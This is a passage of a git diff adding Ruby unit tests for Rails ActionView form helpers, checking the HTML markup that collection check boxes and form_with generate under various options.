+    assert_select 'input[type=checkbox][value="3"][disabled=disabled]'
+    assert_no_select 'input[type=checkbox][value="2"][disabled=disabled]'
+  end
+
+  test "collection check boxes accepts single disabled item" do
+    collection = (1..3).map { |i| [i, "Category #{i}"] }
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, disabled: 1
+
+    assert_select 'input[type=checkbox][value="1"][disabled=disabled]'
+    assert_no_select 'input[type=checkbox][value="3"][disabled=disabled]'
+    assert_no_select 'input[type=checkbox][value="2"][disabled=disabled]'
+  end
+
+  test "collection check boxes accepts a proc to disabled items" do
+    collection = (1..3).map { |i| [i, "Category #{i}"] }
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, disabled: proc { |i| i.first == 1 }
+
+    assert_select 'input[type=checkbox][value="1"][disabled=disabled]'
+    assert_no_select 'input[type=checkbox][value="3"][disabled=disabled]'
+    assert_no_select 'input[type=checkbox][value="2"][disabled=disabled]'
+  end
+
+  test "collection check boxes accepts multiple readonly items" do
+    collection = (1..3).map { |i| [i, "Category #{i}"] }
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, readonly: [1, 3]
+
+    assert_select 'input[type=checkbox][value="1"][readonly=readonly]'
+    assert_select 'input[type=checkbox][value="3"][readonly=readonly]'
+    assert_no_select 'input[type=checkbox][value="2"][readonly=readonly]'
+  end
+
+  test "collection check boxes accepts single readonly item" do
+    collection = (1..3).map { |i| [i, "Category #{i}"] }
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, readonly: 1
+
+    assert_select 'input[type=checkbox][value="1"][readonly=readonly]'
+    assert_no_select 'input[type=checkbox][value="3"][readonly=readonly]'
+    assert_no_select 'input[type=checkbox][value="2"][readonly=readonly]'
+  end
+
+  test "collection check boxes accepts a proc to readonly items" do
+    collection = (1..3).map { |i| [i, "Category #{i}"] }
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, readonly: proc { |i| i.first == 1 }
+
+    assert_select 'input[type=checkbox][value="1"][readonly=readonly]'
+    assert_no_select 'input[type=checkbox][value="3"][readonly=readonly]'
+    assert_no_select 'input[type=checkbox][value="2"][readonly=readonly]'
+  end
+
+  test "collection check boxes accepts html options" do
+    collection = [[1, "Category 1"], [2, "Category 2"]]
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, {}, class: "check"
+
+    assert_select 'input.check[type=checkbox][value="1"]'
+    assert_select 'input.check[type=checkbox][value="2"]'
+  end
+
+  test "collection check boxes with fields for" do
+    collection = [Category.new(1, "Category 1"), Category.new(2, "Category 2")]
+    @output_buffer = fields_for(:post) do |p|
+      p.collection_check_boxes :category_ids, collection, :id, :name
+    end
+
+    assert_select 'input#post_category_ids_1[type=checkbox][value="1"]'
+    assert_select 'input#post_category_ids_2[type=checkbox][value="2"]'
+
+    assert_select "label[for=post_category_ids_1]", "Category 1"
+    assert_select "label[for=post_category_ids_2]", "Category 2"
+  end
+
+  test "collection check boxes does not wrap input inside the label" do
+    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s
+
+    assert_select "input[type=checkbox] + label"
+    assert_no_select "label input"
+  end
+
+  test "collection check boxes accepts a block to render the label as check box wrapper" do
+    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label { b.check_box }
+    end
+
+    assert_select "label[for=user_active_true] > input#user_active_true[type=checkbox]"
+    assert_select "label[for=user_active_false] > input#user_active_false[type=checkbox]"
+  end
+
+  test "collection check boxes accepts a block to change the order of label and check box" do
+    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label + b.check_box
+    end
+
+    assert_select "label[for=user_active_true] + input#user_active_true[type=checkbox]"
+    assert_select "label[for=user_active_false] + input#user_active_false[type=checkbox]"
+  end
+
+  test "collection check boxes with block helpers accept extra html options" do
+    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label(class: "check_box") + b.check_box(class: "check_box")
+    end
+
+    assert_select "label.check_box[for=user_active_true] + input#user_active_true.check_box[type=checkbox]"
+    assert_select "label.check_box[for=user_active_false] + input#user_active_false.check_box[type=checkbox]"
+  end
+
+  test "collection check boxes with block helpers allows access to current text and value" do
+    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label("data-value": b.value) { b.check_box + b.text }
+    end
+
+    assert_select "label[for=user_active_true][data-value=true]", "true" do
+      assert_select "input#user_active_true[type=checkbox]"
+    end
+    assert_select "label[for=user_active_false][data-value=false]", "false" do
+      assert_select "input#user_active_false[type=checkbox]"
+    end
+  end
+
+  test "collection check boxes with block helpers allows access to the current object item in the collection to access extra properties" do
+    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label(class: b.object) { b.check_box + b.text }
+    end
+
+    assert_select "label.true[for=user_active_true]", "true" do
+      assert_select "input#user_active_true[type=checkbox]"
+    end
+    assert_select "label.false[for=user_active_false]", "false" do
+      assert_select "input#user_active_false[type=checkbox]"
+    end
+  end
+end
diff --git a/actionview/test/template/form_helper/form_with_test.rb b/actionview/test/template/form_helper/form_with_test.rb
new file mode 100644
index 0000000000..c7d49070ce
--- /dev/null
+++ b/actionview/test/template/form_helper/form_with_test.rb
@@ -0,0 +1,2239 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "controller/fake_models"
+
+class FormWithTest < ActionView::TestCase
+  include RenderERBUtils
+end
+
+class FormWithActsLikeFormTagTest < FormWithTest
+  tests ActionView::Helpers::FormTagHelper
+
+  setup do
+    @controller = BasicController.new
+  end
+
+  def hidden_fields(options = {})
+    method = options[:method]
+    skip_enforcing_utf8 = options.fetch(:skip_enforcing_utf8, false)
+
+    "".dup.tap do |txt|
+      unless skip_enforcing_utf8
+        txt << %{<input name="utf8" type="hidden" value="&#x2713;" />}
+      end
+
+      if method && !%w(get post).include?(method.to_s)
+        txt << %{<input name="_method" type="hidden" value="#{method}" />}
+      end
+    end
+  end
+
+  def form_text(action = "http://www.example.com", local: false, **options)
+    enctype, html_class, id, method = options.values_at(:enctype, :html_class, :id, :method)
+
+    method = method.to_s == "get" ? "get" : "post"
+
+    txt =  %{<form accept-charset="UTF-8" action="#{action}"}.dup
+    txt << %{ enctype="multipart/form-data"} if enctype
+    txt << %{ data-remote="true"} unless local
+    txt << %{ class="#{html_class}"} if html_class
+    txt << %{ id="#{id}"} if id
+    txt << %{ method="#{method}">}
+  end
+
+  def whole_form(action = "http://www.example.com", options = {})
+    out = form_text(action, options) + hidden_fields(options)
+
+    if block_given?
+      out << yield << "</form>"
+    end
+
+    out
+  end
+
+  def url_for(options)
+    if options.is_a?(Hash)
+      "http://www.example.com"
+    else
+      super
+    end
+  end
+
+  def test_form_with_multipart
+    actual = form_with(multipart: true)
+
+    expected = whole_form("http://www.example.com", enctype: true)
+    assert_dom_equal expected, actual
+  end
+
+  def test_form_with_with_method_patch
+    actual = form_with(method: :patch)
+
+    expected = whole_form("http://www.example.com", method: :patch)
+    assert_dom_equal expected, actual
+  end
+
+  def test_form_with_with_method_put
+    actual = form_with(method: :put)
+
+    expected = whole_form("http://www.example.com", method: :put)
+    assert_dom_equal expected, actual
+  end
+
+  def test_form_with_with_method_delete
+    actual = form_with(method: :delete)
+
+    expected = whole_form("http://www.example.com", method: :delete)
+    assert_dom_equal expected, actual
+  end
+
+  def test_form_with_with_local_true
+    actual = form_with(local: true)
+
+    expected = whole_form("http://www.example.com", local: true)
+    assert_dom_equal expected, actual
+  end
+
+  def test_form_with_skip_enforcing_utf8_true
+    actual = form_with(skip_enforcing_utf8: true)
+    expected = whole_form("http://www.example.com", skip_enforcing_utf8: true)
+    assert_dom_equal expected, actual
+    assert actual.html_safe?
+  end
+
+  def test_form_with_with_block_in_erb
+    output_buffer = render_erb("<%= form_with(url: 'http://www.example.com') do %>Hello world!<% end %>")
+
+    expected = whole_form { "Hello world!" }
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_block_and_method_in_erb
+    output_buffer = render_erb("<%= form_with(url: 'http://www.example.com', method: :put) do %>Hello world!<% end %>")
+
+    expected = whole_form("http://www.example.com", method: "put") do
+      "Hello world!"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_block_in_erb_and_local_true
+    output_buffer = render_erb("<%= form_with(url: 'http://www.example.com', local: true) do %>Hello world!<% end %>")
+
+    expected = whole_form("http://www.example.com", local: true) do
+      "Hello world!"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+end
+
+class FormWithActsLikeFormForTest < FormWithTest
+  def form_with(*)
+    @output_buffer = super
+  end
+
+  teardown do
+    I18n.backend.reload!
+  end
+
+  setup do
+    # Create "label" locale for testing I18n label helpers
+    I18n.backend.store_translations "label",
+      activemodel: {
+        attributes: {
+          post: {
+            cost: "Total cost"
+          },
+          "post/language": {
+            spanish: "Espanol"
+          }
+        }
+      },
+      helpers: {
+        label: {
+          post: {
+            body: "Write entire text here",
+            color: {
+              red: "Rojo"
+            },
+            comments: {
+              body: "Write body here"
+            }
+          },
+          tag: {
+            value: "Tag"
+          },
+          post_delegate: {
+            title: "Delegate model_name title"
+          }
+        }
+      }
+
+    # Create "submit" locale for testing I18n submit helpers
+    I18n.backend.store_translations "submit",
+      helpers: {
+        submit: {
+          create: "Create %{model}",
+          update: "Confirm %{model} changes",
+          submit: "Save changes",
+          another_post: {
+            update: "Update your %{model}"
+          }
+        }
+      }
+
+    I18n.backend.store_translations "placeholder",
+      activemodel: {
+        attributes: {
+          post: {
+            cost: "Total cost"
+          },
+          "post/cost": {
+            uk: "Pounds"
+          }
+        }
+      },
+      helpers: {
+        placeholder: {
+          post: {
+            title: "What is this about?",
+            written_on: {
+              spanish: "Escrito en"
+            },
+            comments: {
+              body: "Write body here"
+            }
+          },
+          post_delegate: {
+            title: "Delegate model_name title"
+          },
+          tag: {
+            value: "Tag"
+          }
+        }
+      }
+
+    @post = Post.new
+    @comment = Comment.new
+    def @post.errors()
+      Class.new {
+        def [](field); field == "author_name" ? ["can't be empty"] : [] end
+        def empty?() false end
+        def count() 1 end
+        def full_messages() ["Author name can't be empty"] end
+      }.new
+    end
+    def @post.to_key; [123]; end
+    def @post.id; 0; end
+    def @post.id_before_type_cast; "omg"; end
+    def @post.id_came_from_user?; true; end
+    def @post.to_param; "123"; end
+
+    @post.persisted   = true
+    @post.title       = "Hello World"
+    @post.author_name = ""
+    @post.body        = "Back to the hill and over it again!"
+    @post.secret      = 1
+    @post.written_on  = Date.new(2004, 6, 15)
+
+    @post.comments = []
+    @post.comments << @comment
+
+    @post.tags = []
+    @post.tags << Tag.new
+
+    @post_delegator = PostDelegator.new
+
+    @post_delegator.title = "Hello World"
+
+    @car = Car.new("#000FFF")
+  end
+
+  Routes = ActionDispatch::Routing::RouteSet.new
+  Routes.draw do
+    resources :posts do
+      resources :comments
+    end
+
+    namespace :admin do
+      resources :posts do
+        resources :comments
+      end
+    end
+
+    get "/foo", to: "controller#action"
+    root to: "main#index"
+  end
+
+  def _routes
+    Routes
+  end
+
+  include Routes.url_helpers
+
+  def url_for(object)
+    @url_for_options = object
+
+    if object.is_a?(Hash) && object[:use_route].blank? && object[:controller].blank?
+      object.merge!(controller: "main", action: "index")
+    end
+
+    super
+  end
+
+  def test_form_with_requires_arguments
+    error = assert_raises(ArgumentError) do
+      form_for(nil, html: { id: "create-post" }) do
+      end
+    end
+    assert_equal "First argument in form cannot contain nil or be empty", error.message
+
+    error = assert_raises(ArgumentError) do
+      form_for([nil, nil], html: { id: "create-post" }) do
+      end
+    end
+    assert_equal "First argument in form cannot contain nil or be empty", error.message
+  end
+
+  def test_form_with
+    form_with(model: @post, id: "create-post") do |f|
+      concat f.label(:title) { "The Title" }
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+      concat f.select(:category, %w( animal economy sports ))
+      concat f.submit("Create post")
+      concat f.button("Create post")
+      concat f.button {
+        concat content_tag(:span, "Create post")
+      }
+    end
+
+    expected = whole_form("/posts/123", "create-post", method: "patch") do
+      "<label for='post_title'>The Title</label>" \
+      "<input name='post[title]' type='text' value='Hello World' />" \
+      "<textarea name='post[body]'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' value='1' />" \
+      "<select name='post[category]'><option value='animal'>animal</option>\n<option value='economy'>economy</option>\n<option value='sports'>sports</option></select>" \
+      "<input name='commit' data-disable-with='Create post' type='submit' value='Create post' />" \
+      "<button name='button' type='submit'>Create post</button>" \
+      "<button name='button' type='submit'><span>Create post</span></button>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_only_url_on_create
+    form_with(url: "/posts") do |f|
+      concat f.label :title, "Label me"
+      concat f.text_field :title
+    end
+
+    expected = whole_form("/posts") do
+      '<label for="title">Label me</label>' \
+      '<input type="text" name="title">'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_only_url_on_update
+    form_with(url: "/posts/123") do |f|
+      concat f.label :title, "Label me"
+      concat f.text_field :title
+    end
+
+    expected = whole_form("/posts/123") do
+      '<label for="title">Label me</label>' \
+      '<input type="text" name="title">'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_general_attributes
+    form_with(url: "/posts/123") do |f|
+      concat f.text_field :no_model_to_back_this_badboy
+    end
+
+    expected = whole_form("/posts/123") do
+      '<input type="text" name="no_model_to_back_this_badboy">'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_attribute_not_on_model
+    form_with(model: @post) do |f|
+      concat f.text_field :this_dont_exist_on_post
+    end
+
+    expected = whole_form("/posts/123", method: :patch) do
+      '<input type="text" name="post[this_dont_exist_on_post]">'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_doesnt_call_private_or_protected_properties_on_form_object_skipping_value
+    obj = Class.new do
+      private def private_property
+        "That would be great."
+      end
+
+      protected def protected_property
+        "I believe you have my stapler."
+      end
+    end.new
+
+    form_with(model: obj, scope: "other_name", url: "/", id: "edit-other-name") do |f|
+      assert_dom_equal '<input type="hidden" name="other_name[private_property]">', f.hidden_field(:private_property)
+      assert_dom_equal '<input type="hidden" name="other_name[protected_property]">', f.hidden_field(:protected_property)
+    end
+  end
+
+  def test_form_with_with_collection_radio_buttons
+    post = Post.new
+    def post.active; false; end
+    form_with(model: post) do |f|
+      concat f.collection_radio_buttons(:active, [true, false], :to_s, :to_s)
+    end
+
+    expected = whole_form("/posts") do
+      "<input type='hidden' name='post[active]' value='' />" \
+      "<input name='post[active]' type='radio' value='true' id='post_active_true' />" \
+      "<label for='post_active_true'>true</label>" \
+      "<input checked='checked' name='post[active]' type='radio' value='false' id='post_active_false' />" \
+      "<label for='post_active_false'>false</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_collection_radio_buttons_with_custom_builder_block
+    post = Post.new
+    def post.active; false; end
+
+    form_with(model: post) do |f|
+      rendered_radio_buttons = f.collection_radio_buttons(:active, [true, false], :to_s, :to_s) do |b|
+        b.label { b.radio_button + b.text }
+      end
+      concat rendered_radio_buttons
+    end
+
+    expected = whole_form("/posts") do
+      "<input type='hidden' name='post[active]' value='' />" \
+      "<label for='post_active_true'>" \
+      "<input name='post[active]' type='radio' value='true' id='post_active_true' />" \
+      "true</label>" \
+      "<label for='post_active_false'>" \
+      "<input checked='checked' name='post[active]' type='radio' value='false' id='post_active_false' />" \
+      "false</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_collection_radio_buttons_with_custom_builder_block_does_not_leak_the_template
+    post = Post.new
+    def post.active; false; end
+    def post.id; 1; end
+
+    form_with(model: post) do |f|
+      rendered_radio_buttons = f.collection_radio_buttons(:active, [true, false], :to_s, :to_s) do |b|
+        b.label { b.radio_button + b.text }
+      end
+      concat rendered_radio_buttons
+      concat f.hidden_field :id
+    end
+
+    expected = whole_form("/posts") do
+      "<input type='hidden' name='post[active]' value='' />" \
+      "<label for='post_active_true'>" \
+      "<input name='post[active]' type='radio' value='true' id='post_active_true' />" \
+      "true</label>" \
+      "<label for='post_active_false'>" \
+      "<input checked='checked' name='post[active]' type='radio' value='false' id='post_active_false' />" \
+      "false</label>" \
+      "<input name='post[id]' type='hidden' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_index_and_with_collection_radio_buttons
+    post = Post.new
+    def post.active; false; end
+
+    form_with(model: post, index: "1") do |f|
+      concat f.collection_radio_buttons(:active, [true, false], :to_s, :to_s)
+    end
+
+    expected = whole_form("/posts") do
+      "<input type='hidden' name='post[1][active]' value='' />" \
+      "<input name='post[1][active]' type='radio' value='true' id='post_1_active_true' />" \
+      "<label for='post_1_active_true'>true</label>" \
+      "<input checked='checked' name='post[1][active]' type='radio' value='false' id='post_1_active_false' />" \
+      "<label for='post_1_active_false'>false</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_collection_check_boxes
+    post = Post.new
+    def post.tag_ids; [1, 3]; end
+    collection = (1..3).map { |i| [i, "Tag #{i}"] }
+    form_with(model: post) do |f|
+      concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
+    end
+
+    expected = whole_form("/posts") do
+      "<input name='post[tag_ids][]' type='hidden' value='' />" \
+      "<input checked='checked' name='post[tag_ids][]' type='checkbox' value='1' id='post_tag_ids_1' />" \
+      "<label for='post_tag_ids_1'>Tag 1</label>" \
+      "<input name='post[tag_ids][]' type='checkbox' value='2' id='post_tag_ids_2' />" \
+      "<label for='post_tag_ids_2'>Tag 2</label>" \
+      "<input checked='checked' name='post[tag_ids][]' type='checkbox' value='3' id='post_tag_ids_3' />" \
+      "<label for='post_tag_ids_3'>Tag 3</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_collection_check_boxes_with_custom_builder_block
+    post = Post.new
+    def post.tag_ids; [1, 3]; end
+    collection = (1..3).map { |i| [i, "Tag #{i}"] }
+    form_with(model: post) do |f|
+      rendered_check_boxes = f.collection_check_boxes(:tag_ids, collection, :first, :last) do |b|
+        b.label { b.check_box + b.text }
+      end
+      concat rendered_check_boxes
+    end
+
+    expected = whole_form("/posts") do
+      "<input name='post[tag_ids][]' type='hidden' value='' />" \
+      "<label for='post_tag_ids_1'>" \
+      "<input checked='checked' name='post[tag_ids][]' type='checkbox' value='1' id='post_tag_ids_1' />" \
+      "Tag 1</label>" \
+      "<label for='post_tag_ids_2'>" \
+      "<input name='post[tag_ids][]' type='checkbox' value='2' id='post_tag_ids_2' />" \
+      "Tag 2</label>" \
+      "<label for='post_tag_ids_3'>" \
+      "<input checked='checked' name='post[tag_ids][]' type='checkbox' value='3' id='post_tag_ids_3' />" \
+      "Tag 3</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_collection_check_boxes_with_custom_builder_block_does_not_leak_the_template
+    post = Post.new
+    def post.tag_ids; [1, 3]; end
+    def post.id; 1; end
+    collection = (1..3).map { |i| [i, "Tag #{i}"] }
+
+    form_with(model: post) do |f|
+      rendered_check_boxes = f.collection_check_boxes(:tag_ids, collection, :first, :last) do |b|
+        b.label { b.check_box + b.text }
+      end
+      concat rendered_check_boxes
+      concat f.hidden_field :id
+    end
+
+    expected = whole_form("/posts") do
+      "<input name='post[tag_ids][]' type='hidden' value='' />" \
+      "<label for='post_tag_ids_1'>" \
+      "<input checked='checked' name='post[tag_ids][]' type='checkbox' value='1' id='post_tag_ids_1' />" \
+      "Tag 1</label>" \
+      "<label for='post_tag_ids_2'>" \
+      "<input name='post[tag_ids][]' type='checkbox' value='2' id='post_tag_ids_2' />" \
+      "Tag 2</label>" \
+      "<label for='post_tag_ids_3'>" \
+      "<input checked='checked' name='post[tag_ids][]' type='checkbox' value='3' id='post_tag_ids_3' />" \
+      "Tag 3</label>" \
+      "<input name='post[id]' type='hidden' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_index_and_with_collection_check_boxes
+    post = Post.new
+    def post.tag_ids; [1]; end
+    collection = [[1, "Tag 1"]]
+
+    form_with(model: post, index: "1") do |f|
+      concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
+    end
+
+    expected = whole_form("/posts") do
+      "<input name='post[1][tag_ids][]' type='hidden' value='' />" \
+      "<input checked='checked' name='post[1][tag_ids][]' type='checkbox' value='1' id='post_1_tag_ids_1' />" \
+      "<label for='post_1_tag_ids_1'>Tag 1</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_file_field_generate_multipart
+    form_with(model: @post, id: "create-post") do |f|
+      concat f.file_field(:file)
+    end
+
+    expected = whole_form("/posts/123", "create-post", method: "patch", multipart: true) do
+      "<input name='post[file]' type='file' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_with_file_field_generate_multipart
+    form_with(model: @post) do |f|
+      concat f.fields(:comment, model: @post) { |c|
+        concat c.file_field(:file)
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch", multipart: true) do
+      "<input name='post[comment][file]' type='file' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_format
+    form_with(model: @post, format: :json, id: "edit_post_123", class: "edit_post") do |f|
+      concat f.label(:title)
+    end
+
+    expected = whole_form("/posts/123.json", "edit_post_123", "edit_post", method: "patch") do
+      "<label for='post_title'>Title</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_format_and_url
+    form_with(model: @post, format: :json, url: "/") do |f|
+      concat f.label(:title)
+    end
+
+    expected = whole_form("/", method: "patch") do
+      "<label for='post_title'>Title</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_model_using_relative_model_naming
+    blog_post = Blog::Post.new("And his name will be forty and four.", 44)
+
+    form_with(model: blog_post) do |f|
+      concat f.text_field :title
+      concat f.submit("Edit post")
+    end
+
+    expected = whole_form("/posts/44", method: "patch") do
+      "<input name='post[title]' type='text' value='And his name will be forty and four.' />" \
+      "<input name='commit' data-disable-with='Edit post' type='submit' value='Edit post' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_symbol_scope
+    form_with(model: @post, scope: "other_name", id: "create-post") do |f|
+      concat f.label(:title, class: "post_title")
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+      concat f.submit("Create post")
+    end
+
+    expected = whole_form("/posts/123", "create-post", method: "patch") do
+      "<label for='other_name_title' class='post_title'>Title</label>" \
+      "<input name='other_name[title]' value='Hello World' type='text' />" \
+      "<textarea name='other_name[body]'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='other_name[secret]' value='0' type='hidden' />" \
+      "<input name='other_name[secret]' checked='checked' value='1' type='checkbox' />" \
+      "<input name='commit' value='Create post' data-disable-with='Create post' type='submit' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_method_as_part_of_html_options
+    form_with(model: @post, url: "/", id: "create-post", html: { method: :delete }) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected = whole_form("/", "create-post", method: "delete") do
+      "<input name='post[title]' type='text' value='Hello World' />" \
+      "<textarea name='post[body]'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_method
+    form_with(model: @post, url: "/", method: :delete, id: "create-post") do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected = whole_form("/", "create-post", method: "delete") do
+      "<input name='post[title]' type='text' value='Hello World' />" \
+      "<textarea name='post[body]'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_search_field
+    # Test case for bug which would emit an "object" attribute
+    # when used with form_for using a search_field form helper
+    form_with(model: Post.new, url: "/search", id: "search-post", method: :get) do |f|
+      concat f.search_field(:title)
+    end
+
+    expected = whole_form("/search", "search-post", method: "get") do
+      "<input name='post[title]' type='search' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_enables_remote_by_default
+    form_with(model: @post, url: "/", id: "create-post", method: :patch) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected = whole_form("/", "create-post", method: "patch") do
+      "<input name='post[title]' type='text' value='Hello World' />" \
+      "<textarea name='post[body]'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_is_not_remote_by_default_if_form_with_generates_remote_forms_is_false
+    old_value = ActionView::Helpers::FormHelper.form_with_generates_remote_forms
+    ActionView::Helpers::FormHelper.form_with_generates_remote_forms = false
+
+    form_with(model: @post, url: "/", id: "create-post", method: :patch) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected = whole_form("/", "create-post", method: "patch", local: true) do
+      "<input name='post[title]' type='text' value='Hello World' />" \
+      "<textarea name='post[body]'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  ensure
+    ActionView::Helpers::FormHelper.form_with_generates_remote_forms = old_value
+  end
+
+  def test_form_with_skip_enforcing_utf8_true
+    form_with(scope: :post, skip_enforcing_utf8: true) do |f|
+      concat f.text_field(:title)
+    end
+
+    expected = whole_form("/", skip_enforcing_utf8: true) do
+      "<input name='post[title]' type='text' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_skip_enforcing_utf8_false
+    form_with(scope: :post, skip_enforcing_utf8: false) do |f|
+      concat f.text_field(:title)
+    end
+
+    expected = whole_form("/", skip_enforcing_utf8: false) do
+      "<input name='post[title]' type='text' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_without_object
+    form_with(scope: :post, id: "create-post") do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected = whole_form("/", "create-post") do
+      "<input name='post[title]' type='text' value='Hello World' />" \
+      "<textarea name='post[body]'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_index
+    form_with(model: @post, scope: "post[]") do |f|
+      concat f.label(:title)
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      "<label for='post_123_title'>Title</label>" \
+      "<input name='post[123][title]' type='text' value='Hello World' />" \
+      "<textarea name='post[123][body]'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[123][secret]' type='hidden' value='0' />" \
+      "<input name='post[123][secret]' checked='checked' type='checkbox' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_nil_index_option_override
+    form_with(model: @post, scope: "post[]", index: nil) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      "<input name='post[][title]' type='text' value='Hello World' />" \
+      "<textarea name='post[][body]'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[][secret]' type='hidden' value='0' />" \
+      "<input name='post[][secret]' checked='checked' type='checkbox' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_label_error_wrapping
+    form_with(model: @post) do |f|
+      concat f.label(:author_name, class: "label")
+      concat f.text_field(:author_name)
+      concat f.submit("Create post")
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      "<div class='field_with_errors'><label for='post_author_name' class='label'>Author name</label></div>" \
+      "<div class='field_with_errors'><input name='post[author_name]' type='text' value='' /></div>" \
+      "<input name='commit' data-disable-with='Create post' type='submit' value='Create post' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_label_error_wrapping_without_conventional_instance_variable
+    post = remove_instance_variable :@post
+
+    form_with(model: post) do |f|
+      concat f.label(:author_name, class: "label")
+      concat f.text_field(:author_name)
+      concat f.submit("Create post")
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      "<div class='field_with_errors'><label for='post_author_name' class='label'>Author name</label></div>" \
+      "<div class='field_with_errors'><input name='post[author_name]' type='text' value='' /></div>" \
+      "<input name='commit' data-disable-with='Create post' type='submit' value='Create post' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_label_error_wrapping_block_and_non_block_versions
+    form_with(model: @post) do |f|
+      concat f.label(:author_name, "Name", class: "label")
+      concat f.label(:author_name, class: "label") { "Name" }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      "<div class='field_with_errors'><label for='post_author_name' class='label'>Name</label></div>" \
+      "<div class='field_with_errors'><label for='post_author_name' class='label'>Name</label></div>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
